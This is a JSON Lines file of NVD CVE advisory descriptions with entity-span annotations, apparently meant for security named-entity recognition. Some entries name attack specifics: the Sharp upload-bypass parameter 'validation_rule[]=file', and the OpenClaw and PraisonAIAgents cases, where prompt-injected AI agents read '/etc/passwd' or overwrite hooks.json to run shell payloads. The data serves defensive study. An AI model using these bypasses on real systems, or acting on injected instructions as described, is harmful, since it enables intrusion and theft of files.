{"text": "Fleet is open source device management software. In versions prior to 4.80.1, a vulnerability in Fleet’s Android MDM Pub/Sub handling could allow unauthenticated requests to trigger device unenrollment events. This may result in unauthorized removal of individual Android devices from Fleet management. If Android MDM is enabled, an attacker could send a crafted request to the Android Pub/Sub endpoint to unenroll a targeted Android device from Fleet without authentication. This issue does not grant access to Fleet, allow execution of commands, or provide visibility into device data. Impact is limited to disruption of Android device management for the affected device. Version 4.80.1 fixes the issue. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Android MDM.", "spans": {"SYSTEM: Android": [[105, 112], [264, 271], [306, 313], [378, 385], [426, 433], [623, 630], [795, 802]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24004"}}
{"text": "Sharp is a content management framework built for Laravel as a package. Versions prior to 9.20.0 contain a vulnerability in the file upload endpoint that allows authenticated users to bypass all file type restrictions. The upload endpoint within the `ApiFormUploadController` accepts a client-controlled `validation_rule` parameter. This parameter is directly passed into the Laravel validator without sufficient server-side enforcement. By intercepting the request and sending `validation_rule[]=file`, an attacker can completely bypass all MIME type and file extension restrictions. This issue has been addressed in version 9.20.0 by removing the client-controlled validation rules and strictly defining upload rules server-side. As a workaround, ensure that the storage disk used for Sharp uploads is strictly private. Under default configurations, an attacker cannot directly execute uploaded PHP files unless a public disk configuration is explicitly used.", "spans": {"SYSTEM: PHP": [[897, 900]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33687"}}
{"text": "Issue summary: PBMAC1 parameters in PKCS#12 files are missing validation\nwhich can trigger a stack-based buffer overflow, invalid pointer or NULL\npointer dereference during MAC verification.\n\nImpact summary: The stack buffer overflow or NULL pointer dereference may\ncause a crash leading to Denial of Service for an application that parses\nuntrusted PKCS#12 files. The buffer overflow may also potentially enable\ncode execution depending on platform mitigations.\n\nWhen verifying a PKCS#12 file that uses PBMAC1 for the MAC, the PBKDF2\nsalt and keylength parameters from the file are used without validation.\nIf the value of keylength exceeds the size of the fixed stack buffer used\nfor the derived key (64 bytes), the key derivation will overflow the buffer.\nThe overflow length is attacker-controlled. Also, if the salt parameter is\nnot an OCTET STRING type this can lead to invalid or NULL pointer\ndereference.\n\nExploiting this issue requires a user or application to process\na maliciously crafted PKCS#12 file. It is uncommon to accept untrusted\nPKCS#12 files in applications as they are usually used to store private\nkeys which are trusted by definition. For this reason the issue was assessed\nas Moderate severity.\n\nThe FIPS modules in 3.6, 3.5 and 3.4 are not affected by this issue, as\nPKCS#12 processing is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5 and 3.4 are vulnerable to this issue.\n\nOpenSSL 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue as they do\nnot support PBMAC1 in PKCS#12.", "spans": {"SYSTEM: OpenSSL": [[1327, 1334], [1358, 1365], [1414, 1421]], "VULNERABILITY: stack-based buffer overflow": [[93, 120]], "VULNERABILITY: NULL pointer dereference": [[237, 261]], "VULNERABILITY: Denial of Service": [[291, 308]], "VULNERABILITY: buffer overflow": [[218, 233], [369, 384]], "VULNERABILITY: code execution": [[413, 427]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-11187"}}
{"text": "Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML to fields['body'] param via events\\event.publish_article.php", "spans": {"FILEPATH: publish_article.php": [[168, 187]], "VULNERABILITY: Cross-site scripting": [[0, 20]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25343"}}
{"text": "homeassistant is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered. This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected. The issue has been mitigated and closed in Supervisor version 2023.03.1, which has been rolled out to all affected installations via the auto-update feature of the Supervisor. This rollout has been completed at the time of publication of this advisory. Home Assistant Core 2023.3.0 included mitigation for this vulnerability. Upgrading to at least that version is thus advised. In case one is not able to upgrade the Home Assistant Supervisor or the Home Assistant Core application at this time, it is advised to not expose your Home Assistant instance to the internet.", "spans": {"SYSTEM: Python": [[397, 403]], "ORGANIZATION: Docker": [[351, 357]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-27482"}}
{"text": "OpenClaw is a personal AI assistant. Prior to OpenClaw version 2026.2.14, the Feishu extension previously allowed `sendMediaFeishu` to treat attacker-controlled `mediaUrl` values as local filesystem paths and read them directly. If an attacker can influence tool calls (directly or via prompt injection), they may be able to exfiltrate local files by supplying paths such as `/etc/passwd` as `mediaUrl`. Upgrade to OpenClaw `2026.2.14` or newer to receive a fix. The fix removes direct local file reads from this path and routes media loading through hardened helpers that enforce local-root restrictions.", "spans": {"FILEPATH: /etc/passwd": [[376, 387]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26321"}}
{"text": "An issue was discovered in MBed OS 6.16.0. During processing of HCI packets, the software dynamically determines the length of the packet header by looking up the identifying first byte and matching it against a table of possible lengths. The initial parsing function, hciTrSerialRxIncoming does not drop packets with invalid identifiers but also does not set a safe default for the length of unknown packets' headers, leading to a buffer overflow. This can be leveraged into an arbitrary write by an attacker. It is possible to overwrite the pointer to a not-yet-allocated buffer that is supposed to receive the contents of the packet body. One can then overwrite the state variable used by the function to determine which state of packet parsing is currently occurring. Because the buffer is allocated when the last byte of the header has been copied, the combination of having a bad header length variable that will never match the counter variable and being able to overwrite the state variable with the resulting buffer overflow can be used to advance the function to the next step while skipping the buffer allocation and resulting pointer write. The next 16 bytes from the packet body are then written wherever the corrupted data pointer is pointing.", "spans": {"VULNERABILITY: buffer overflow": [[432, 447], [1018, 1033]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-48981"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nthunderbolt: Fix use-after-free in tb_dp_dprx_work\n\nThe original code relies on cancel_delayed_work() in tb_dp_dprx_stop(),\nwhich does not ensure that the delayed work item tunnel->dprx_work has\nfully completed if it was already running. This leads to use-after-free\nscenarios where tb_tunnel is deallocated by tb_tunnel_put(), while\ntunnel->dprx_work remains active and attempts to dereference tb_tunnel\nin tb_dp_dprx_work().\n\nA typical race condition is illustrated below:\n\nCPU 0                            | CPU 1\ntb_dp_tunnel_active()            |\n  tb_deactivate_and_free_tunnel()| tb_dp_dprx_start()\n    tb_tunnel_deactivate()       |   queue_delayed_work()\n      tb_dp_activate()           |\n        tb_dp_dprx_stop()        | tb_dp_dprx_work() //delayed worker\n          cancel_delayed_work()  |\n    tb_tunnel_put(tunnel);       |\n                                 |   tunnel = container_of(...); //UAF\n                                 |   tunnel-> //UAF\n\nReplacing cancel_delayed_work() with cancel_delayed_work_sync() is\nnot feasible as it would introduce a deadlock: both tb_dp_dprx_work()\nand the cleanup path acquire tb->lock, and cancel_delayed_work_sync()\nwould wait indefinitely for the work item that cannot proceed.\n\nInstead, implement proper reference counting:\n- If cancel_delayed_work() returns true (work is pending), we release\n  the reference in the stop function.\n- If it returns false (work is executing or already completed), the\n  reference is released in delayed work function itself.\n\nThis ensures the tb_tunnel remains valid during work item execution\nwhile preventing memory leaks.\n\nThis bug was found by static analysis.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[86, 100], [321, 335]], "VULNERABILITY: race condition": [[507, 521]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40002"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: probes: Remove broken LDR (literal) uprobe support\n\nThe simulate_ldr_literal() and simulate_ldrsw_literal() functions are\nunsafe to use for uprobes. Both functions were originally written for\nuse with kprobes, and access memory with plain C accesses. When uprobes\nwas added, these were reused unmodified even though they cannot safely\naccess user memory.\n\nThere are three key problems:\n\n1) The plain C accesses do not have corresponding extable entries, and\n   thus if they encounter a fault the kernel will treat these as\n   unintentional accesses to user memory, resulting in a BUG() which\n   will kill the kernel thread, and likely lead to further issues (e.g.\n   lockup or panic()).\n\n2) The plain C accesses are subject to HW PAN and SW PAN, and so when\n   either is in use, any attempt to simulate an access to user memory\n   will fault. Thus neither simulate_ldr_literal() nor\n   simulate_ldrsw_literal() can do anything useful when simulating a\n   user instruction on any system with HW PAN or SW PAN.\n\n3) The plain C accesses are privileged, as they run in kernel context,\n   and in practice can access a small range of kernel virtual addresses.\n   The instructions they simulate have a range of +/-1MiB, and since the\n   simulated instructions must itself be a user instructions in the\n   TTBR0 address range, these can address the final 1MiB of the TTBR1\n   acddress range by wrapping downwards from an address in the first\n   1MiB of the TTBR0 address range.\n\n   In contemporary kernels the last 8MiB of TTBR1 address range is\n   reserved, and accesses to this will always fault, meaning this is no\n   worse than (1).\n\n   Historically, it was theoretically possible for the linear map or\n   vmemmap to spill into the final 8MiB of the TTBR1 address range, but\n   in practice this is extremely unlikely to occur as this would\n   require either:\n\n   * Having enough physical memory to fill the entire linear map all the\n     way to the final 1MiB of the TTBR1 address range.\n\n   * Getting unlucky with KASLR randomization of the linear map such\n     that the populated region happens to overlap with the last 1MiB of\n     the TTBR address range.\n\n   ... and in either case if we were to spill into the final page there\n   would be larger problems as the final page would alias with error\n   pointers.\n\nPractically speaking, (1) and (2) are the big issues. Given there have\nbeen no reports of problems since the broken code was introduced, it\nappears that no-one is relying on probing these instructions with\nuprobes.\n\nAvoid these issues by not allowing uprobes on LDR (literal) and LDRSW\n(literal), limiting the use of simulate_ldr_literal() and\nsimulate_ldrsw_literal() to kprobes. Attempts to place uprobes on LDR\n(literal) and LDRSW (literal) will be rejected as\narm_probe_decode_insn() will return INSN_REJECTED. In future we can\nconsider introducing working uprobes support for these instructions, but\nthis will require more significant work.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50099"}}
{"text": "PraisonAIAgents is a multi-agent teams system. Prior to 1.5.128, he memory hooks executor in praisonaiagents passes a user-controlled command string directly to subprocess.run() with shell=True at src/praisonai-agents/praisonaiagents/memory/hooks.py. No sanitization is performed and shell metacharacters are interpreted by /bin/sh before the intended command executes. Two independent attack surfaces exist. The first is via pre_run_command and post_run_command hook event types registered through the hooks configuration. The second and more severe surface is the .praisonai/hooks.json lifecycle configuration, where hooks registered for events such as BEFORE_TOOL and AFTER_TOOL fire automatically during agent operation. An agent that gains file-write access through prompt injection can overwrite .praisonai/hooks.json and have its payload execute silently at every subsequent lifecycle event without further user interaction. This vulnerability is fixed in 1.5.128.", "spans": {"FILEPATH: /praisonai-agents/praisonaiagents/memory/hooks.py.": [[200, 250]], "FILEPATH: /bin/sh": [[324, 331]], "FILEPATH: hooks.json": [[577, 587], [813, 823]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40111"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: rose: fix timer races against user threads\n\nRose timers only acquire the socket spinlock, without\nchecking if the socket is owned by one user thread.\n\nAdd a check and rearm the timers if needed.\n\nBUG: KASAN: slab-use-after-free in rose_timer_expiry+0x31d/0x360 net/rose/rose_timer.c:174\nRead of size 2 at addr ffff88802f09b82a by task swapper/0/0\n\nCPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.13.0-rc5-syzkaller-00172-gd1bf27c4e176 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nCall Trace:\n <IRQ>\n  __dump_stack lib/dump_stack.c:94 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n  print_address_description mm/kasan/report.c:378 [inline]\n  print_report+0x169/0x550 mm/kasan/report.c:489\n  kasan_report+0x143/0x180 mm/kasan/report.c:602\n  rose_timer_expiry+0x31d/0x360 net/rose/rose_timer.c:174\n  call_timer_fn+0x187/0x650 kernel/time/timer.c:1793\n  expire_timers kernel/time/timer.c:1844 [inline]\n  __run_timers kernel/time/timer.c:2418 [inline]\n  __run_timer_base+0x66a/0x8e0 kernel/time/timer.c:2430\n  run_timer_base kernel/time/timer.c:2439 [inline]\n  run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2449\n  handle_softirqs+0x2d4/0x9b0 kernel/softirq.c:561\n  __do_softirq kernel/softirq.c:595 [inline]\n  invoke_softirq kernel/softirq.c:435 [inline]\n  __irq_exit_rcu+0xf7/0x220 kernel/softirq.c:662\n  irq_exit_rcu+0x9/0x30 kernel/softirq.c:678\n  instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1049 [inline]\n  sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1049\n </IRQ>", "spans": {"FILEPATH: /rose/rose_timer.c": [[338, 356], [910, 928]], "FILEPATH: /0/0": [[416, 420]], "FILEPATH: /13/2024": [[596, 604]], "FILEPATH: /kasan/report.c": [[748, 763], [806, 821], [855, 870]], "FILEPATH: /time/timer.c": [[967, 980], [1008, 1021], [1057, 1070], [1122, 1135], [1164, 1177], [1229, 1242]], "FILEPATH: /x86/kernel/apic/apic.c": [[1525, 1548], [1607, 1630]], "FILEPATH: dump_stack.c": [[643, 655], [701, 713]], "FILEPATH: softirq.c": [[1285, 1294], [1321, 1330], [1368, 1377], [1426, 1435], [1471, 1480]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[530, 536], [537, 543], [559, 565], [587, 593]], "VULNERABILITY: use-after-free": [[287, 301]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21718"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: cfg80211: cancel rfkill_block work in wiphy_unregister()\n\nThere is a use-after-free error in cfg80211_shutdown_all_interfaces found\nby syzkaller:\n\nBUG: KASAN: use-after-free in cfg80211_shutdown_all_interfaces+0x213/0x220\nRead of size 8 at addr ffff888112a78d98 by task kworker/0:5/5326\nCPU: 0 UID: 0 PID: 5326 Comm: kworker/0:5 Not tainted 6.19.0-rc2 #2 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nWorkqueue: events cfg80211_rfkill_block_work\nCall Trace:\n <TASK>\n dump_stack_lvl+0x116/0x1f0\n print_report+0xcd/0x630\n kasan_report+0xe0/0x110\n cfg80211_shutdown_all_interfaces+0x213/0x220\n cfg80211_rfkill_block_work+0x1e/0x30\n process_one_work+0x9cf/0x1b70\n worker_thread+0x6c8/0xf10\n kthread+0x3c5/0x780\n ret_from_fork+0x56d/0x700\n ret_from_fork_asm+0x1a/0x30\n </TASK>\n\nThe problem arises due to the rfkill_block work is not cancelled when wiphy\nis being unregistered. In order to fix the issue cancel the corresponding\nwork in wiphy_unregister().\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller.", "spans": {"DOMAIN: linuxtesting.org": [[1116, 1132]], "FILEPATH: /01/2014": [[520, 528]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1089, 1094]], "SYSTEM: QEMU": [[464, 468]], "VULNERABILITY: use-after-free": [[144, 158], [234, 248]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23336"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtw88: use work to update rate to avoid RCU warning\n\nThe ieee80211_ops::sta_rc_update must be atomic, because\nieee80211_chan_bw_change() holds rcu_read lock while calling\ndrv_sta_rc_update(), so create a work to do original things.\n\n Voluntary context switch within RCU read-side critical section!\n WARNING: CPU: 0 PID: 4621 at kernel/rcu/tree_plugin.h:318\n rcu_note_context_switch+0x571/0x5d0\n CPU: 0 PID: 4621 Comm: kworker/u16:2 Tainted: G        W  OE\n Workqueue: phy3 ieee80211_chswitch_work [mac80211]\n RIP: 0010:rcu_note_context_switch+0x571/0x5d0\n Call Trace:\n  <TASK>\n  __schedule+0xb0/0x1460\n  ? __mod_timer+0x116/0x360\n  schedule+0x5a/0xc0\n  schedule_timeout+0x87/0x150\n  ? trace_raw_output_tick_stop+0x60/0x60\n  wait_for_completion_timeout+0x7b/0x140\n  usb_start_wait_urb+0x82/0x160 [usbcore\n  usb_control_msg+0xe3/0x140 [usbcore\n  rtw_usb_read+0x88/0xe0 [rtw_usb\n  rtw_usb_read8+0xf/0x10 [rtw_usb\n  rtw_fw_send_h2c_command+0xa0/0x170 [rtw_core\n  rtw_fw_send_ra_info+0xc9/0xf0 [rtw_core\n  drv_sta_rc_update+0x7c/0x160 [mac80211\n  ieee80211_chan_bw_change+0xfb/0x110 [mac80211\n  ieee80211_change_chanctx+0x38/0x130 [mac80211\n  ieee80211_vif_use_reserved_switch+0x34e/0x900 [mac80211\n  ieee80211_link_use_reserved_context+0x88/0xe0 [mac80211\n  ieee80211_chswitch_work+0x95/0x170 [mac80211\n  process_one_work+0x201/0x410\n  worker_thread+0x4a/0x3b0\n  ? process_one_work+0x410/0x410\n  kthread+0xe1/0x110\n  ? kthread_complete_and_exit+0x20/0x20\n  ret_from_fork+0x1f/0x30\n  </TASK>", "spans": {"FILEPATH: /rcu/tree_plugin.h": [[409, 427]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54071"}}
{"text": "An Improper Check or Handling of Exceptional Conditions vulnerability in packet processing of Juniper Networks Junos OS on QFX10002 allows an unauthenticated, adjacent attacker on the local broadcast domain sending a malformed packet to the device, causing all PFEs other than the inbound PFE to wedge and to eventually restart, resulting in a Denial of Service (DoS) condition. Continued receipt and processing of this packet will create a sustained Denial of Service (DoS) condition. This issue can only be triggered by sending a specific malformed packet to the device. Transit traffic does not trigger this issue. An indication of this issue occurring can be seen through the following log messages: fpc0 expr_hostbound_packet_handler: Receive pe 73? fpc0 Cmerror Op Set: PE Chip: PE0[0]: PGQ:misc_intr: 0x00000020: Enqueue of a packet with out-of-range VOQ in 192K-VOQ mode (URI: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL) The logs list below can also be observed when this issue occurs fpc0 Error: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL (0x210107), scope: pfe, category: functional, severity: major, module: PE Chip, type: Description for PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL fpc0 Performing action cmalarm for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL (0x210107) in module: PE Chip with scope: pfe category: functional level: major fpc0 Error: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a), scope: pfe, category: functional, severity: fatal, module: PE Chip, type: Description for PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE fpc0 Performing action cmalarm for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a) in module: PE Chip with scope: pfe category: functional level: fatal fpc0 Performing action disable-pfe for error /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE (0x21011a) in module: PE Chip with scope: pfe category: functional level: fatal This issue affects Juniper Networks Junos OS on QFX10002: All versions prior to 19.1R3-S10; 19.4 versions prior to 19.4R3-S11; 20.2 versions prior to 20.2R3-S7; 20.4 versions prior to 20.4R3-S6; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S4; 21.3 versions prior to 21.3R3-S3; 21.4 versions prior to 21.4R3-S2; 22.1 versions prior to 22.1R3-S1; 22.2 versions prior to 22.2R2-S1, 22.2R3; 22.3 versions prior to 22.3R1-S2, 22.3R2.", "spans": {"FILEPATH: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_PGQ_MISC_INT_EVENTS_ENQ_192K_VIOL": [[885, 961], [1039, 1115], [1308, 1384]], "FILEPATH: /fpc/0/pfe/0/cm/0/PE_Chip/0/PECHIP_CMERROR_CM_INT_REG_DCHK_PIPE": [[1477, 1540], [1720, 1783], [1909, 1972]], "ORGANIZATION: Juniper": [[94, 101], [2072, 2079]], "VULNERABILITY: Denial of Service": [[344, 361], [451, 468]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28959"}}
{"text": "An improper link resolution before file access ('Link Following') vulnerability has been reported to affect QNAP device running QuTScloud, QuTS hero, and QTS. If exploited, this vulnerability allows remote attackers to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. We have already fixed this vulnerability in the following versions of QuTScloud, QuTS hero, and QTS: QuTScloud c5.0.1.1998 and later QuTS hero h4.5.4.1971 build 20220310 and later QuTS hero h5.0.0.1986 build 20220324 and later QTS 4.3.4.1976 build 20220303 and later QTS 4.3.3.1945 build 20220303 and later QTS 4.2.6 build 20220304 and later QTS 4.3.6.1965 build 20220302 and later QTS 5.0.0.1986 build 20220324 and later QTS 4.5.4.1991 build 20220329 and later", "spans": {"ORGANIZATION: QNAP": [[108, 112]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-44052"}}
{"text": "A buffer length validation vulnerability in Asylo versions prior to 0.6.0 allows an attacker to read data they should not have access to. The 'enc_untrusted_recvfrom' function generates a return value which is deserialized by 'MessageReader', and copied into three different 'extents'. The length of the third 'extents' is controlled by the outside world, and not verified on copy, allowing the attacker to force Asylo to copy trusted memory data into an untrusted buffer of significantly small length.. We recommend updating Asylo to version 0.6.0 or later.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8905"}}
{"text": "Polr is an open source URL shortener. in Polr before version 2.3.0, a vulnerability in the setup process allows attackers to gain admin access to site instances, even if they do not possess an existing account. This vulnerability exists regardless of users' settings. If an attacker crafts a request with specific cookie headers to the /setup/finish endpoint, they may be able to obtain admin privileges on the instance. This is caused by a loose comparison (==) in SetupController that is susceptible to attack. The project has been patched to ensure that a strict comparison (===) is used to verify the setup key, and that /setup/finish verifies that no users table exists before performing any migrations or provisioning any new accounts. This is fixed in version 2.3.0. Users can patch this vulnerability without upgrading by adding abort(404) to the very first line of finishSetup in SetupController.php.", "spans": {"FILEPATH: /setup/finish": [[336, 349], [625, 638]], "FILEPATH: SetupController.php": [[889, 908]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21276"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/io-wq: Use set_bit() and test_bit() at worker->flags\n\nUtilize set_bit() and test_bit() on worker->flags within io_uring/io-wq\nto address potential data races.\n\nThe structure io_worker->flags may be accessed through various data\npaths, leading to concurrency issues. When KCSAN is enabled, it reveals\ndata races occurring in io_worker_handle_work and\nio_wq_activate_free_worker functions.\n\n\t BUG: KCSAN: data-race in io_worker_handle_work / io_wq_activate_free_worker\n\t write to 0xffff8885c4246404 of 4 bytes by task 49071 on cpu 28:\n\t io_worker_handle_work (io_uring/io-wq.c:434 io_uring/io-wq.c:569)\n\t io_wq_worker (io_uring/io-wq.c:?)\n<snip>\n\n\t read to 0xffff8885c4246404 of 4 bytes by task 49024 on cpu 5:\n\t io_wq_activate_free_worker (io_uring/io-wq.c:? io_uring/io-wq.c:285)\n\t io_wq_enqueue (io_uring/io-wq.c:947)\n\t io_queue_iowq (io_uring/io_uring.c:524)\n\t io_req_task_submit (io_uring/io_uring.c:1511)\n\t io_handle_tw_list (io_uring/io_uring.c:1198)\n<snip>\n\nLine numbers against commit 18daea77cca6 (\"Merge tag 'for-linus' of\ngit://git.kernel.org/pub/scm/virt/kvm/kvm\").\n\nThese races involve writes and reads to the same memory location by\ndifferent tasks running on different CPUs. To mitigate this, refactor\nthe code to use atomic operations such as set_bit(), test_bit(), and\nclear_bit() instead of basic \"and\" and \"or\" operations. This ensures\nthread-safe manipulation of worker flags.\n\nAlso, move `create_index` to avoid holes in the structure.", "spans": {"DOMAIN: git.kernel.org": [[1116, 1130]], "FILEPATH: wq.c": [[648, 652], [669, 673], [707, 711], [829, 833], [848, 852], [887, 891]], "FILEPATH: io_uring.c": [[923, 933], [970, 980], [1017, 1027]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39508"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: check discard support for conventional zones\n\nAs the helper function f2fs_bdev_support_discard() shows, f2fs checks if\nthe target block devices support discard by calling\nbdev_max_discard_sectors() and bdev_is_zoned(). This check works well\nfor most cases, but it does not work for conventional zones on zoned\nblock devices. F2fs assumes that zoned block devices support discard,\nand calls __submit_discard_cmd(). When __submit_discard_cmd() is called\nfor sequential write required zones, it works fine since\n__submit_discard_cmd() issues zone reset commands instead of discard\ncommands. However, when __submit_discard_cmd() is called for\nconventional zones, __blkdev_issue_discard() is called even when the\ndevices do not support discard.\n\nThe inappropriate __blkdev_issue_discard() call was not a problem before\nthe commit 30f1e7241422 (\"block: move discard checks into the ioctl\nhandler\") because __blkdev_issue_discard() checked if the target devices\nsupport discard or not. If not, it returned EOPNOTSUPP. After the\ncommit, __blkdev_issue_discard() no longer checks it. It always returns\nzero and sets NULL to the given bio pointer. This NULL pointer triggers\nf2fs_bug_on() in __submit_discard_cmd(). The BUG is recreated with the\ncommands below at the umount step, where /dev/nullb0 is a zoned null_blk\nwith 5GB total size, 128MB zone size and 10 conventional zones.\n\n$ mkfs.f2fs -f -m /dev/nullb0\n$ mount /dev/nullb0 /mnt\n$ for ((i=0;i<5;i++)); do dd if=/dev/zero of=/mnt/test bs=65536 count=1600 conv=fsync; done\n$ umount /mnt\n\nTo fix the BUG, avoid the inappropriate __blkdev_issue_discard() call.\nWhen discard is requested for conventional zones, check if the device\nsupports discard or not. If not, return EOPNOTSUPP.", "spans": {"FILEPATH: /dev/nullb0": [[1352, 1363], [1467, 1478], [1487, 1498]], "FILEPATH: /dev/zero": [[1536, 1545]], "FILEPATH: /mnt/test": [[1549, 1558]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47680"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: fix a race in rxrpc_exit_net()\n\nCurrent code can lead to the following race:\n\nCPU0                                                 CPU1\n\nrxrpc_exit_net()\n                                                     rxrpc_peer_keepalive_worker()\n                                                       if (rxnet->live)\n\n  rxnet->live = false;\n  del_timer_sync(&rxnet->peer_keepalive_timer);\n\n                                                             timer_reduce(&rxnet->peer_keepalive_timer, jiffies + delay);\n\n  cancel_work_sync(&rxnet->peer_keepalive_work);\n\nrxrpc_exit_net() exits while peer_keepalive_timer is still armed,\nleading to use-after-free.\n\nsyzbot report was:\n\nODEBUG: free active (active state 0) object type: timer_list hint: rxrpc_peer_keepalive_timeout+0x0/0xb0\nWARNING: CPU: 0 PID: 3660 at lib/debugobjects.c:505 debug_print_object+0x16e/0x250 lib/debugobjects.c:505\nModules linked in:\nCPU: 0 PID: 3660 Comm: kworker/u4:6 Not tainted 5.17.0-syzkaller-13993-g88e6c0207623 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nWorkqueue: netns cleanup_net\nRIP: 0010:debug_print_object+0x16e/0x250 lib/debugobjects.c:505\nCode: ff df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 af 00 00 00 48 8b 14 dd 00 1c 26 8a 4c 89 ee 48 c7 c7 00 10 26 8a e8 b1 e7 28 05 <0f> 0b 83 05 15 eb c5 09 01 48 83 c4 18 5b 5d 41 5c 41 5d 41 5e c3\nRSP: 0018:ffffc9000353fb00 EFLAGS: 00010082\nRAX: 0000000000000000 RBX: 0000000000000003 RCX: 0000000000000000\nRDX: ffff888029196140 RSI: ffffffff815efad8 RDI: fffff520006a7f52\nRBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000\nR10: ffffffff815ea4ae R11: 0000000000000000 R12: ffffffff89ce23e0\nR13: ffffffff8a2614e0 R14: ffffffff816628c0 R15: dffffc0000000000\nFS:  0000000000000000(0000) GS:ffff8880b9c00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fe1f2908924 CR3: 0000000043720000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n __debug_check_no_obj_freed lib/debugobjects.c:992 [inline]\n debug_check_no_obj_freed+0x301/0x420 lib/debugobjects.c:1023\n kfree+0xd6/0x310 mm/slab.c:3809\n ops_free_list.part.0+0x119/0x370 net/core/net_namespace.c:176\n ops_free_list net/core/net_namespace.c:174 [inline]\n cleanup_net+0x591/0xb00 net/core/net_namespace.c:598\n process_one_work+0x996/0x1610 kernel/workqueue.c:2289\n worker_thread+0x665/0x1080 kernel/workqueue.c:2436\n kthread+0x2e9/0x3a0 kernel/kthread.c:376\n ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:298\n </TASK>", "spans": {"FILEPATH: /01/2011": [[1144, 1152]], "FILEPATH: /core/net_namespace.c": [[2357, 2378], [2401, 2422], [2464, 2485]], "FILEPATH: /x86/entry/entry_64.S": [[2668, 2689]], "FILEPATH: debugobjects.c": [[883, 897], [937, 951], [1227, 1241], [2197, 2211], [2267, 2281]], "FILEPATH: slab.c": [[2308, 2314]], "FILEPATH: workqueue.c": [[2528, 2539], [2580, 2591]], "FILEPATH: kthread.c": [[2625, 2634]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1078, 1084], [1085, 1091], [1107, 1113], [1135, 1141]], "VULNERABILITY: use-after-free": [[708, 722]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49087"}}
